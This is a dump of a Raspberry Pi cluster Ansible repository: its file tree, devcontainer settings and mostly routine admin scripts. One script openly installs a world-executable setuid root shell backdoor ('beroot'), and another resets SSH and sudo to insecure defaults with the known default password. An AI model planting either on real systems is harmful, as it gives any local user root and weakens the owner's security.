├── .devcontainer ├── Dockerfile └── devcontainer.json ├── .gitignore ├── .vscode └── settings.json ├── ansible ├── ansible.cfg ├── files │ ├── bash-script │ │ ├── check-syshealth.sh │ │ ├── create-priv-esc-bin.sh │ │ ├── default-sshd-login.sh │ │ ├── disable-swap.sh │ │ ├── fix_apt.sh │ │ ├── free_memcache.sh │ │ ├── led-blink.sh │ │ ├── readme.md │ │ ├── rpi-temp-check.sh │ │ └── speedtest_100mbit.sh │ ├── dotfiles │ │ ├── htoprc │ │ ├── screenrc │ │ └── vimrc │ ├── readme.md │ ├── reboot.c │ │ ├── install.sh │ │ └── reboot_setuid.c │ ├── rpi-releases.csv │ ├── ssl-ca │ │ ├── bc.conf │ │ └── gen.sh │ ├── test-rpideployer.py │ └── welcome.c │ │ ├── makefile │ │ └── welcome.c ├── playbook-rpi-all-maint.yml ├── playbook-rpi-all-ssh.yml ├── playbook-rpi-compute-k3s.yml ├── playbook-rpi-compute.yml ├── playbook-rpi-deployer.yml ├── playbook-rpi-lanservices.yml ├── playbook-rpi-single-role.yml ├── readme.md ├── requirements.txt ├── roles │ ├── ansible-post-role │ │ └── tasks │ │ │ └── main.yml │ ├── ansible-pre-role │ │ └── tasks │ │ │ └── main.yml │ ├── base-system │ │ ├── .ansible-lint │ │ ├── .yamllint │ │ ├── files │ │ │ ├── etc │ │ │ │ ├── apt │ │ │ │ │ └── apt.conf.d │ │ │ │ │ │ └── 00local-rpi-cluster │ │ │ │ └── issue │ │ │ ├── rpihw.fact │ │ │ └── scripts │ │ │ │ └── usb-guard.sh │ │ ├── handlers │ │ │ └── main.yml │ │ ├── meta │ │ │ └── main.yml │ │ ├── molecule │ │ │ └── default │ │ │ │ ├── Dockerfile.j2 │ │ │ │ ├── INSTALL.rst │ │ │ │ ├── molecule.yml │ │ │ │ ├── playbook.yml │ │ │ │ └── tests │ │ │ │ └── test_default.py │ │ ├── tasks │ │ │ ├── apt-packages.yml │ │ │ ├── apt-repo.yml │ │ │ ├── cleanup.yml │ │ │ ├── filesfolders.yml │ │ │ ├── hostsname.yml │ │ │ ├── kernelmod.yml │ │ │ ├── localization.yml │ │ │ ├── main.yml │ │ │ ├── sslcert.yml │ │ │ └── sysctl.yml │ │ ├── templates │ │ │ ├── etc │ │ │ │ └── rc_local.j2 │ │ │ └── rpihost.j2 │ │ └── vars │ │ │ └── main.yml │ ├── busybox-httpd │ │ ├── files │ │ │ ├── bbhttpd.service │ │ │ ├── chroot_bb.sh │ │ │ ├── glinder1.png │ │ │ ├── hello │ │ │ └── httpd.conf │ │ ├── meta │ │ │ └── main.yml │ │ ├── readme.md │ │ ├── tasks │ │ │ └── main.yml │ │ ├── templates │ │ │ └── ansible-index.j2 │ │ └── vars │ │ │ └── main.yml │ ├── dhcp-client │ │ ├── tasks │ │ │ └── main.yml │ │ └── templates │ │ │ └── dhcp-client.j2 │ ├── dhcp-server │ │ ├── defaults │ │ │ └── main.yml │ │ ├── handlers │ │ │ └── main.yml │ │ ├── meta │ │ │ └── main.yml │ │ ├── tasks │ │ │ └── main.yml │ │ ├── templates │ │ │ ├── dhcp-server-default.j2 │ │ │ └── dhcpd.j2 │ │ └── vars │ │ │ └── main.yml │ ├── distcc │ │ ├── defaults │ │ │ └── main.yml │ │ ├── handlers │ │ │ └── main.yml │ │ ├── meta │ │ │ └── main.yml │ │ ├── tasks │ │ │ └── main.yml │ │ └── templates │ │ │ ├── distcc_conf.j2 │ │ │ ├── distcc_kern.j2 │ │ │ ├── distcc_test.j2 │ │ │ └── hostscompute.j2 │ ├── dns-server │ │ ├── defaults │ │ │ └── main.yml │ │ ├── handlers │ │ │ └── main.yml │ │ ├── meta │ │ │ └── main.yml │ │ ├── reame.md │ │ ├── tasks │ │ │ ├── local-config.yml │ │ │ ├── main.yml │ │ │ └── master-zone.yml │ │ ├── templates │ │ │ ├── db_rpi.j2 │ │ │ ├── dns_tests_bats.j2 │ │ │ ├── etc │ │ │ │ ├── bind │ │ │ │ │ ├── bind_keys.j2 │ │ │ │ │ ├── named_conf_default_zones.j2 │ │ │ │ │ ├── named_conf_local.j2 │ │ │ │ │ └── named_conf_options.j2 │ │ │ │ └── default │ │ │ │ │ └── bind.j2 │ │ │ └── resolv_conf.j2 │ │ └── vars │ │ │ └── main.yml │ ├── docker │ │ ├── defaults │ │ │ └── main.yml │ │ ├── files │ │ │ ├── docker.asc │ │ │ ├── remove_docker.sh │ │ │ └── rm_all_images.sh │ │ ├── readme.md │ │ ├── tasks │ │ │ ├── docker_hello_world.yml │ │ │ ├── main.yml │ │ │ └── manage_tools.yml │ │ └── vars │ │ │ └── default │ ├── ftp-server │ │ ├── handlers │ │ │ └── main.yml │ │ ├── tasks │ │ │ └── main.yml │ │ ├── templates │ │ │ ├── default.j2 │ │ │ └── welcome.j2 │ │ └── vars │ │ │ └── main.yml │ ├── golang │ │ ├── defaults │ │ │ └── main.yml │ │ ├── tasks │ │ │ └── main.yml │ │ └── templates │ │ │ └── build_go_hello.j2 │ ├── group-compute │ │ ├── files │ │ │ └── rpi-compute.service │ │ ├── handlers │ │ │ └── main.yml │ │ ├── meta │ │ │ └── main.yml │ │ ├── tasks │ │ │ ├── compute-security.yml │ │ │ ├── main.yml │ │ │ └── systemd-cust.yml │ │ └── templates │ │ │ └── compute-boot.j2 │ ├── group-deployer-ssh-client │ │ ├── meta │ │ │ └── main.yml │ │ ├── readme.md │ │ ├── tasks │ │ │ └── main.yml │ │ └── templates │ │ │ ├── etc │ │ │ ├── ethers.j2 │ │ │ └── hosts.j2 │ │ │ └── ssh_client_conf.j2 │ ├── group-deployer │ │ ├── defaults │ │ │ └── main.yml │ │ ├── files │ │ │ ├── renew_ssh_priv_key.sh │ │ │ └── rpi-deployer.service │ │ ├── handlers │ │ │ └── main.yml │ │ ├── meta │ │ │ └── main.yml │ │ ├── tasks │ │ │ ├── dl_packages.yml │ │ │ ├── main.yml │ │ │ └── systemd-cust.yml │ │ ├── templates │ │ │ ├── deployer-boot.j2 │ │ │ └── ramstore.j2 │ │ └── vars │ │ │ └── main.yml │ ├── group-lanservices │ │ ├── files │ │ │ └── rpi-lanservices.service │ │ ├── handlers │ │ │ └── main.yml │ │ ├── meta │ │ │ └── main.yml │ │ ├── tasks │ │ │ ├── cron.yml │ │ │ ├── lanservices-security.yml │ │ │ ├── main.yml │ │ │ └── systemd-cust.yml │ │ └── templates │ │ │ ├── etc │ │ │ ├── ethers.j2 │ │ │ └── security │ │ │ │ └── limits_conf.j2 │ │ │ ├── lanservices-boot.j2 │ │ │ ├── lansrvmain-cron-daily.j2 │ │ │ └── lansrvmain-cron-hourly.j2 │ ├── haveged │ │ └── tasks │ │ │ └── main.yml │ ├── hostsfile │ │ ├── meta │ │ │ └── main.yml │ │ ├── readme.md │ │ ├── tasks │ │ │ └── main.yml │ │ └── templates │ │ │ └── etc-hosts.j2 │ ├── hugo │ │ ├── handlers │ │ │ └── main.yml │ │ ├── meta │ │ │ └── main.yml │ │ ├── tasks │ │ │ └── main.yml │ │ └── vars │ │ │ └── main.yml │ ├── i3-wm │ │ └── tasks │ │ │ └── main.yml │ ├── k3s │ │ ├── files │ │ │ └── install_k3s.sh │ │ ├── tasks │ │ │ ├── main.yml │ │ │ ├── server.yml │ │ │ └── worker.yml │ │ └── templates │ │ │ └── k3s_join_master_sh.j2 │ ├── keepalived │ │ ├── defaults │ │ │ └── main.yml │ │ ├── handlers │ │ │ └── main.yml │ │ ├── tasks │ │ │ └── main.yml │ │ └── templates │ │ │ └── etc │ │ │ └── keepalived │ │ │ └── keepalived_conf.j2 │ ├── mpich │ │ ├── files │ │ │ ├── mpi_sample.c │ │ │ └── mpich_keygen_sh.j2 │ │ ├── meta │ │ │ └── main.yml │ │ ├── readme.md │ │ ├── tasks │ │ │ ├── main.yml │ │ │ └── mpi-test-code.yml │ │ └── templates │ │ │ └── mpich_test_sh.j2 │ ├── nfs-client │ │ └── tasks │ │ │ └── main.yml │ ├── nfs-server │ │ ├── defaults │ │ │ └── main.yml │ │ ├── tasks │ │ │ └── main.yml │ │ └── templates │ │ │ ├── exports.j2 │ │ │ └── test_file.j2 │ ├── nodejs │ │ ├── files │ │ │ ├── setup_12.x.sh │ │ │ └── setup_9.x.sh │ │ ├── tasks │ │ │ └── main.yml │ │ └── vars │ │ │ └── main.yml │ ├── ntp-client │ │ ├── handlers │ │ │ └── main.yml │ │ ├── tasks │ │ │ └── main.yml │ │ └── templates │ │ │ └── ntp_client.j2 │ ├── ntp-server │ │ ├── handlers │ │ │ └── main.yml │ │ ├── tasks │ │ │ └── main.yml │ │ └── templates │ │ │ └── ntp_server.j2 │ ├── puppet-agent │ │ ├── defaults │ │ │ └── main.yml │ │ ├── files │ │ │ ├── puppet.service │ │ │ └── remove_puppet.sh │ │ ├── meta │ │ │ └── main.yml │ │ └── tasks │ │ │ └── main.yml │ ├── readme.md │ ├── reboot │ │ ├── files │ │ │ └── check_rebooted.sh │ │ └── tasks │ │ │ └── main.yml │ ├── redis │ │ └── tasks │ │ │ └── main.yml │ ├── rpilog │ │ ├── files │ │ │ ├── 22-rpicluster.conf │ │ │ └── test-rpilog.sh │ │ ├── handlers │ │ │ └── main.yml │ │ ├── meta │ │ │ └── main.yml │ │ ├── tasks │ │ │ └── main.yml │ │ └── templates │ │ │ └── rpilogro.j2 │ ├── ssh-server │ │ ├── defaults │ │ │ └── main.yml │ │ ├── handlers │ │ │ └── main.yml │ │ ├── meta │ │ │ └── main.yml │ │ ├── tasks │ │ │ └── main.yml │ │ └── templates │ │ │ ├── auth_principals │ │ │ └── pi.j2 │ │ │ ├── avahi_ssh_service.j2 │ │ │ └── etc │ │ │ ├── motd.j2 │ │ │ └── ssh │ │ │ ├── ssh_config.j2 │ │ │ └── sshd_config.j2 │ ├── sysstat │ │ ├── handlers │ │ │ └── main.yml │ │ ├── tasks │ │ │ └── main.yml │ │ └── templates │ │ │ ├── default.j2 │ │ │ └── sysstat.j2 │ ├── ufw │ │ ├── handlers │ │ │ └── main.yml │ │ ├── meta │ │ │ └── main.yml │ │ └── tasks │ │ │ ├── compute.yml │ │ │ ├── deployer.yml │ │ │ ├── lanservice_main.yml │ │ │ └── main.yml │ ├── upgrades │ │ ├── meta │ │ │ └── main.yml │ │ ├── tasks │ │ │ ├── main.yml │ │ │ ├── package_apt.yml │ │ │ ├── package_gem.yml │ │ │ └── package_pip.yml │ │ └── vars │ │ │ └── main.yml │ ├── uptimed │ │ ├── handlers │ │ │ └── main.yml │ │ └── tasks │ │ │ └── main.yml │ ├── userac │ │ └── tasks │ │ │ ├── keys.yml │ │ │ └── main.yml │ └── yarn │ │ ├── files │ │ └── yarnkey.asc │ │ ├── meta │ │ └── main.yml │ │ └── tasks │ │ └── main.yml ├── setup │ ├── defaults │ │ ├── group_vars │ │ │ ├── all │ │ │ │ └── vars │ │ │ ├── compute │ │ │ │ ├── vars │ │ │ │ └── vault │ │ │ ├── deploy │ │ │ │ └── vars │ │ │ └── lanservices │ │ │ │ ├── vars │ │ │ │ └── vault │ │ ├── host_vars │ │ │ ├── alpha │ │ │ │ └── vars │ │ │ ├── beta │ │ │ │ └── vars │ │ │ └── psi │ │ │ │ ├── vars │ │ │ │ └── vault │ │ └── inventory │ │ │ ├── compute │ │ │ └── hosts │ │ │ ├── deploy │ │ │ └── hosts │ │ │ └── lanservices │ │ │ └── hosts │ ├── install-deploy-tools.sh │ ├── readme.md │ ├── setup-conf.sh │ └── setup-keys.sh ├── site.yml ├── ssh_to_host.sh ├── tasks.py └── vault_pass.sh ├── code ├── hugo-site │ ├── archetypes │ │ └── default.md │ ├── config.toml │ ├── content │ │ ├── about │ │ │ └── index.html │ │ ├── compute │ │ │ └── index.html │ │ ├── index.md │ │ ├── lanservice │ │ │ └── index.html │ │ ├── reports │ │ │ └── index.html │ │ └── serverspec │ │ │ ├── index.html │ │ │ └── reports │ │ │ └── index.md │ ├── i18n │ │ ├── default.toml │ │ └── en.toml │ ├── package.json │ ├── readme.md │ ├── static │ │ ├── .npmignore │ │ ├── HELP-US-OUT.txt │ │ ├── README.md │ │ ├── css │ │ │ ├── bootstrap-grid.css │ │ │ ├── bootstrap-grid.css.map │ │ │ ├── bootstrap-grid.min.css │ │ │ ├── bootstrap-grid.min.css.map │ │ │ ├── bootstrap-reboot.css │ │ │ ├── bootstrap-reboot.css.map │ │ │ ├── bootstrap-reboot.min.css │ │ │ ├── bootstrap-reboot.min.css.map │ │ │ ├── bootstrap.css │ │ │ ├── bootstrap.css.map │ │ │ ├── bootstrap.min.css │ │ │ ├── bootstrap.min.css.map │ │ │ ├── font-awesome.css │ │ │ ├── font-awesome.css.map │ │ │ ├── font-awesome.min.css │ │ │ ├── tether-theme-arrows-dark.css │ │ │ ├── tether-theme-arrows-dark.min.css │ │ │ ├── tether-theme-arrows.css │ │ │ ├── tether-theme-arrows.min.css │ │ │ ├── tether-theme-basic.css │ │ │ ├── tether-theme-basic.min.css │ │ │ ├── tether.css │ │ │ └── tether.min.css │ │ ├── fonts │ │ │ ├── FontAwesome.otf │ │ │ ├── fontawesome-webfont.eot │ │ │ ├── fontawesome-webfont.svg │ │ │ ├── fontawesome-webfont.ttf │ │ │ ├── fontawesome-webfont.woff │ │ │ └── fontawesome-webfont.woff2 │ │ ├── img │ │ │ └── rasp-logo.png │ │ ├── js │ │ │ ├── bootstrap.js │ │ │ ├── bootstrap.min.js │ │ │ ├── core.js │ │ │ ├── css │ │ │ │ ├── tether-theme-arrows-dark.css │ │ │ │ ├── tether-theme-arrows-dark.min.css │ │ │ │ ├── tether-theme-arrows.css │ │ │ │ ├── tether-theme-arrows.min.css │ │ │ │ ├── tether-theme-basic.css │ │ │ │ ├── tether-theme-basic.min.css │ │ │ │ ├── tether.css │ │ │ │ └── tether.min.css │ │ │ ├── jquery.js │ │ │ ├── jquery.min.js │ │ │ ├── jquery.min.map │ │ │ ├── jquery.slim.js │ │ │ ├── jquery.slim.min.js │ │ │ ├── jquery.slim.min.map │ │ │ ├── js │ │ │ │ ├── tether.js │ │ │ │ └── tether.min.js │ │ │ ├── tether.js │ │ │ └── tether.min.js │ │ ├── less │ │ │ ├── animated.less │ │ │ ├── bordered-pulled.less │ │ │ ├── core.less │ │ │ ├── fixed-width.less │ │ │ ├── font-awesome.less │ │ │ ├── icons.less │ │ │ ├── larger.less │ │ │ ├── list.less │ │ │ ├── mixins.less │ │ │ ├── path.less │ │ │ ├── rotated-flipped.less │ │ │ ├── screen-reader.less │ │ │ ├── stacked.less │ │ │ └── variables.less │ │ ├── package.json │ │ └── scss │ │ │ ├── _animated.scss │ │ │ ├── _bordered-pulled.scss │ │ │ ├── _core.scss │ │ │ ├── _fixed-width.scss │ │ │ ├── _icons.scss │ │ │ ├── _larger.scss │ │ │ ├── _list.scss │ │ │ ├── _mixins.scss │ │ │ ├── _path.scss │ │ │ ├── _rotated-flipped.scss │ │ │ ├── _screen-reader.scss │ │ │ ├── _stacked.scss │ │ │ ├── _variables.scss │ │ │ └── font-awesome.scss │ ├── tasks.py │ ├── themes │ │ └── berrycluster │ │ │ ├── LICENSE.md │ │ │ ├── archetypes │ │ │ └── default.md │ │ │ ├── layouts │ │ │ ├── 404.html │ │ │ ├── _default │ │ │ │ └── single.html │ │ │ ├── partials │ │ │ │ ├── footer.html │ │ │ │ └── header.html │ │ │ └── post │ │ │ │ ├── list.html │ │ │ │ └── single.html │ │ │ ├── static │ │ │ ├── css │ │ │ │ └── site.css │ │ │ └── js │ │ │ │ └── site_bad.js │ │ │ └── theme.toml │ └── yarn.lock ├── readme.md ├── rpi-py-api │ ├── Dockerfile-pyapp │ ├── appsrc │ │ ├── omegapyapi.py │ │ ├── requirements.txt │ │ ├── start.sh │ │ ├── static │ │ │ ├── style.css │ │ │ └── testfile.txt │ │ └── templates │ │ │ ├── about.html │ │ │ ├── base.html │ │ │ └── hello.html │ ├── build_image_tar.sh │ ├── docker-compose.yml │ ├── nginx.conf.d │ │ └── rpiweb.conf │ ├── nginx.logs │ │ ├── access.log │ │ └── error.log │ ├── readme.md │ └── web │ │ └── pub │ │ ├── .foobar │ │ ├── error.html │ │ ├── index_default.html │ │ └── rasp-logo.png └── sensehat │ ├── sensehat-temps.py │ ├── sensehat-welcome.py │ └── setup.sh ├── doc ├── pictures │ ├── ara.png │ └── pi_towers1.jpg ├── readme.md └── security.md ├── readme.md └── serverspec ├── Gemfile ├── Gemfile.lock ├── Rakefile ├── index.erb ├── install-serverspec.sh ├── inventory.yml ├── readme.md ├── run.sh ├── rvm-installer ├── rvm-installer.asc └── spec ├── base ├── apt_spec.rb ├── haveged_spec.rb ├── health_spec.rb ├── ioc_spec.rb ├── linux_spec.rb ├── logs_spec.rb ├── network_spec.rb ├── ntp_spec.rb ├── piclustfolder_spec.rb ├── rpicluster_spec.rb └── sshd_spec.rb ├── compute ├── compute_spec.rb ├── computenet_spec.rb ├── distcc_spec.rb ├── docker_spec.rb ├── fw_spec.rb ├── kube_spec.rb └── mpich_xxxx.xx ├── deployer ├── aptdep_spec.rb ├── deploy_spec.rb ├── deployfile_spec.rb ├── docker_spec.rb ├── nodes_spec.rb ├── redis_spec.rb └── uptimed_spec.rb ├── lanservice ├── bbhttpd_spec.rb ├── bind_spec.rb ├── dhcpc_spec.rb ├── dhcpd_spec.rb ├── ftpd_spec.rb ├── fw_spec.rb ├── keepalived_spec.rb ├── lanservice_spec.rb ├── nettests_spec.rb └── uptimed_spec.rb └── spec_helper.rb /.devcontainer/devcontainer.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "rpi_cluster Ansible", 3 | "dockerFile": "Dockerfile", 4 | "runArgs": [ 5 | "-u", "vscode", 6 | "-v", "/var/run/docker.sock:/var/run/docker.sock" 7 | ], 8 | "settings": { 9 | "terminal.integrated.shell.linux": "/bin/bash", 10 | "remote.extensionKind": { 11 | "ms-azuretools.vscode-docker": "workspace" 12 | } 13 | }, 14 | "postCreateCommand": "ansible --version", 15 | "extensions": [ 16 | "vscoss.vscode-ansible", 17 | "redhat.vscode-yaml" 18 | ] 19 | } -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # ---- ignore ---- 2 | # 3 | ignore_me/* 4 | nohup.out 5 | ansible/.pytest_cache/ 6 | ansible/inventory/* 7 | ansible/group_vars/* 8 | ansible/host_vars/* 9 | ansible/artifacts/ 10 | ansible/resources/_gen/ 11 | # 12 | # ---- code ---- 13 | # 14 | serverspec/reports/* 15 | code/hugo-site/public/* 16 | yarn-error.log 17 | node_modules/ 18 | code/rpi-py-api/nginx.logs/error.log 19 | code/rpi-py-api/nginx.logs/access.log 20 | # 21 | # ---- python ---- 22 | # 23 | .cache 24 | __pycache__/ 25 | *.py[cod] 26 | *$py.class 27 | .Python 28 | *.pyc 29 | .env 30 | .venv 31 | env/ 32 | venv/ 33 | ENV/ 34 | # 35 | # ---- Apple ---- 36 | # 37 | *.DS_Store 38 | .AppleDouble 39 | .LSOverride 40 | # Icon must end with two \r 41 | Icon 42 | ._* 43 | .DocumentRevisions-V100 44 | .fseventsd 45 | .Spotlight-V100 46 | .TemporaryItems 47 | .Trashes 48 | .VolumeIcon.icns 49 | .com.apple.timemachine.donotpresent 50 | .AppleDB 51 | .AppleDesktop 52 | Network Trash Folder 53 | Temporary Items 54 | .apdisk 55 | -------------------------------------------------------------------------------- /.vscode/settings.json: -------------------------------------------------------------------------------- 1 | { 2 | } -------------------------------------------------------------------------------- /ansible/files/bash-script/create-priv-esc-bin.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # create a privilege escalation backdoor bin 4 | # 5 | # pi@psi:~ $ echo whoami | /usr/local/bin/beroot 6 | # root 7 | 8 | /usr/bin/sudo id | grep --quiet "uid=0(root)" || { echo "ERROR can not sudo"; exit 1; } 9 | 10 | where_gcc=$(which gcc || exit 1) 11 | 12 | TMPFILE="devtest.c" 13 | FILEDEST="/usr/local/bin/beroot" 14 | TMPDIR=$(mktemp -d) 15 | CURWD=$(pwd) 16 | cd $TMPDIR || exit 1; 17 | 18 | # create suid laucher c 19 | echo 'int main(void){setresuid(0, 0, 0);system("/bin/sh");}' > $TMPFILE 20 | 21 | # compile 22 | $where_gcc $TMPFILE -o suid 2>/dev/null 23 | 24 | rm -f $TMPFILE 25 | 26 | sudo chown root:root suid 27 | 28 | sudo chmod 4777 suid 29 | 30 | sudo mv -v suid $FILEDEST 31 | 32 | # test 33 | echo 'whoami && hostname' | $FILEDEST 34 | 35 | cd $CURWD 36 | 37 | # clean up 38 | rm -rf -- $TMPDIR -------------------------------------------------------------------------------- /ansible/files/bash-script/default-sshd-login.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # Reset R-Pi password and sshd to default 3 | 4 | { 5 | 6 | if [[ root != "$(whoami)" ]]; then 7 | echo "Error: requires root"; 8 | exit 1; 9 | fi 10 | 11 | echo "loading INSECURE defaults"; 12 | 13 | rm -fv -- /home/pi/.ssh/* 14 | rm -fv -- /home/root/.ssh/* 15 | 16 | cat > /etc/ssh/sshd_config << EOF 17 | # sshd defaults 18 | Port 22 19 | ListenAddress 0.0.0.0 20 | Protocol 2 21 | HostKey /etc/ssh/ssh_host_rsa_key 22 | HostKey /etc/ssh/ssh_host_ecdsa_key 23 | HostKey /etc/ssh/ssh_host_ed25519_key 24 | SyslogFacility AUTH 25 | LogLevel INFO 26 | LoginGraceTime 120 27 | PermitRootLogin Yes 28 | StrictModes yes 29 | IgnoreRhosts yes 30 | PermitEmptyPasswords no 31 | ChallengeResponseAuthentication no 32 | PasswordAuthentication yes 33 | X11Forwarding no 34 | X11DisplayOffset 10 35 | PrintMotd no 36 | PrintLastLog no 37 | TCPKeepAlive yes 38 | AcceptEnv LANG LC_* 39 | Subsystem sftp /usr/lib/openssh/sftp-server 40 | UsePAM yes 41 | EOF 42 | 43 | systemctl restart ssh 44 | systemctl status ssh 45 | 46 | cat > /etc/sudoers.d/010_pi-nopasswd << EOF 47 | pi ALL=(ALL) NOPASSWD: ALL 48 | EOF 49 | 50 | echo "pi:raspberry" | chpasswd 51 | 52 | dpkg-reconfigure openssh-server 53 | 54 | echo "finished"; 55 | 56 | } 57 | -------------------------------------------------------------------------------- /ansible/files/bash-script/disable-swap.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # Disable systems Swap 3 | 4 | # log 5 | rpilogit () { 6 | echo -e "rpicluster: $1 \n"; 7 | logger -t rpicluster "$1"; 8 | } 9 | 10 | rpilogit "started disable-swap.sh"; 11 | 12 | # test /usr/bin/sudo works OK 13 | /usr/bin/sudo id | grep "uid=0(root)" > /dev/null 2>&1 || exit 1; 14 | 15 | /usr/bin/sudo dphys-swapfile swapoff 16 | 17 | /usr/bin/sudo dphys-swapfile uninstall 18 | 19 | /usr/bin/sudo update-rc.d dphys-swapfile remove 20 | 21 | touch -f /opt/cluster/data/swap_disabled 22 | echo "swap is off" > /opt/cluster/data/swap_disabled 23 | 24 | rpilogit "finished disable-swap.sh"; 25 | -------------------------------------------------------------------------------- /ansible/files/bash-script/fix_apt.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # try to fix a broken apt 3 | 4 | rpilogit () { 5 | echo -e "rpicluster: $1 \n"; 6 | logger -t rpicluster "$1"; 7 | } 8 | 9 | rpilogit "started fix_apt.sh"; 10 | 11 | # test /usr/bin/sudo works OK 12 | /usr/bin/sudo id | grep "uid=0(root)" > /dev/null 2>&1 || exit 1; 13 | 14 | # only removes files that cannot be downloaded anymore (obsolete) 15 | /usr/bin/sudo apt-get autoclean 16 | /usr/bin/sudo apt-get autoremove 17 | /usr/bin/sudo apt-get clean 18 | 19 | # resync package index 20 | /usr/bin/sudo apt-get update 21 | /usr/bin/sudo apt-get upgrade 22 | 23 | # update + upgrade 24 | /usr/bin/sudo apt-get dist-upgrade 25 | /usr/bin/sudo apt-get -f install 26 | /usr/bin/sudo dpkg --configure -a 27 | 28 | rpilogit "finished fix_apt.sh"; 29 | -------------------------------------------------------------------------------- /ansible/files/bash-script/free_memcache.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # 3 | # Writing to drop_caches will cause the kernel to free pagecache, dentries and inodes. 4 | # This causes that memory to become free. non-destructive & safe for production 5 | # 6 | # ref: https://www.kernel.org/doc/Documentation/sysctl/vm.txt 7 | 8 | rpilogit () { 9 | echo -e "rpicluster: $1 \n"; 10 | logger -t rpicluster "$1"; 11 | } 12 | 13 | rpilogit "starting free_memcache.sh" 14 | 15 | freebefore=$(free -k | awk '/^Mem:/{print $4}') 16 | 17 | # test /usr/bin/sudo works OK 18 | /usr/bin/sudo id | grep "uid=0(root)" > /dev/null 2>&1 || exit 1; 19 | 20 | # need to sync first 21 | /usr/bin/sudo sync 22 | /usr/bin/sudo bash -c 'echo 3 > /proc/sys/vm/drop_caches'; 23 | 24 | freeafter=$(free -k | awk '/^Mem:/{print $4}') 25 | 26 | freekb=$(expr $freeafter - $freebefore) 27 | let freemb=($freekb/1024) 28 | 29 | rpilogit "freed $freekb kilobytes ($freemb MB)" 30 | 31 | rpilogit "finished free_memcache.sh" 32 | -------------------------------------------------------------------------------- /ansible/files/bash-script/led-blink.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # R-Pi LED blink mode 3 | 4 | script_name=$(basename -- "$0") 5 | 6 | rpilogit () { 7 | echo -e "rpicluster: $script_name $1 \n"; 8 | logger -t rpicluster "$script_name $1"; 9 | } 10 | 11 | # test /usr/bin/sudo works OK 12 | /usr/bin/sudo id | grep "uid=0(root)" > /dev/null 2>&1 || exit 1; 13 | 14 | rpilogit "starting"; 15 | 16 | 17 | do_blinky_lights () { 18 | /usr/bin/sudo modprobe ledtrig_heartbeat 19 | /usr/bin/sudo sh -c "echo heartbeat >/sys/class/leds/led0/trigger" 20 | sleep 10; 21 | # return R-Pi LED to default trigger 22 | /usr/bin/sudo sh -c "echo mmc0 >/sys/class/leds/led0/trigger" 23 | } 24 | 25 | do_blinky_lights 26 | 27 | rpilogit "finished"; 28 | -------------------------------------------------------------------------------- /ansible/files/bash-script/readme.md: -------------------------------------------------------------------------------- 1 | 2 | misc bash scripts, these are copied to /opt/rpi_cluster/bin/ on each system. 3 | 4 | Add new files under the Ansible common role, in the defaults file. 5 | -------------------------------------------------------------------------------- /ansible/files/bash-script/rpi-temp-check.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # max temp 4 | temp_max="55" 5 | 6 | # get temp 7 | temp_cur=$(/opt/vc/bin/vcgencmd measure_temp | cut -c 6-7) 8 | 9 | # check 10 | if [ $temp_max -gt $temp_cur ]; then 11 | echo "temp ok" 12 | true; 13 | else 14 | echo "too hot" 15 | false 16 | fi 17 | -------------------------------------------------------------------------------- /ansible/files/bash-script/speedtest_100mbit.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | rpilogit () { 4 | echo -e "rpicluster: $1 \n"; 5 | logger -t rpicluster "$1"; 6 | } 7 | 8 | rpilogit "running speedtest_100mbit.sh"; 9 | 10 | # do not run this script as root 11 | if [[ root = "$(whoami)" ]]; then 12 | echo "ERROR: do not run as root"; 13 | exit 1; 14 | fi 15 | 16 | /usr/bin/wget -q -O /dev/null -- http://cachefly.cachefly.net/100mb.test; 17 | 18 | rpilogit "finished speedtest_100mbit.sh"; 19 | -------------------------------------------------------------------------------- /ansible/files/dotfiles/htoprc: -------------------------------------------------------------------------------- 1 | # Beware! This file is rewritten by htop when settings are changed in the interface. 2 | # The parser is also very primitive, and not human-friendly. 3 | fields=0 48 17 18 38 39 40 2 46 47 49 1 4 | sort_key=46 5 | sort_direction=1 6 | hide_threads=0 7 | hide_kernel_threads=0 8 | hide_userland_threads=0 9 | shadow_other_users=0 10 | show_thread_names=1 11 | show_program_path=1 12 | highlight_base_name=1 13 | highlight_megabytes=1 14 | highlight_threads=1 15 | tree_view=1 16 | header_margin=0 17 | detailed_cpu_time=0 18 | cpu_count_from_zero=0 19 | update_process_names=0 20 | account_guest_in_cpu_meter=0 21 | color_scheme=0 22 | delay=15 23 | left_meters=AllCPUs Memory Swap 24 | left_meter_modes=1 1 1 25 | right_meters=Hostname Uptime Clock Tasks LoadAverage 26 | right_meter_modes=2 2 2 2 2 27 | -------------------------------------------------------------------------------- /ansible/files/dotfiles/screenrc: -------------------------------------------------------------------------------- 1 | # {{ ansible_managed }} 2 | startup_message off 3 | altscreen on 4 | term screen-256color 5 | bind ',' prev 6 | bind '.' next 7 | 8 | hardstatus alwayslastline 9 | hardstatus string '%{= kg}[ %{G}%H %{g}][%= %{= kw}%?%-Lw%?%{r}(%{W}%n*%f%t%?(%u)%?%{r})%{w}%?%+Lw%?%?%= %{g}][%{B} %m-%d %{W}%c %{g}]' 10 | -------------------------------------------------------------------------------- /ansible/files/readme.md: -------------------------------------------------------------------------------- 1 | # files/ 2 | 3 | Files used in Ansible roles. -------------------------------------------------------------------------------- /ansible/files/reboot.c/install.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # a setuid c wrapper for /sbin/reboot 4 | 5 | rpilogit () { 6 | echo -e "rpicluster: $1 \n"; 7 | logger -t rpicluster "$1"; 8 | } 9 | 10 | # test /usr/bin/sudo works OK 11 | /usr/bin/sudo id | grep "uid=0(root)" > /dev/null 2>&1 || exit 1; 12 | 13 | rpilogit "started reboot_setuid build"; 14 | 15 | # clean up old 16 | if [ -f reboot_setuid ]; then 17 | rm -fv -- reboot_setuid 18 | fi 19 | 20 | # compile (static linking) 21 | gcc -static -fpic -fpie reboot_setuid.c -o reboot_setuid || exit 1; 22 | 23 | # perms 24 | /usr/bin/sudo chown root:root reboot_setuid 25 | /usr/bin/sudo chmod 0755 reboot_setuid 26 | 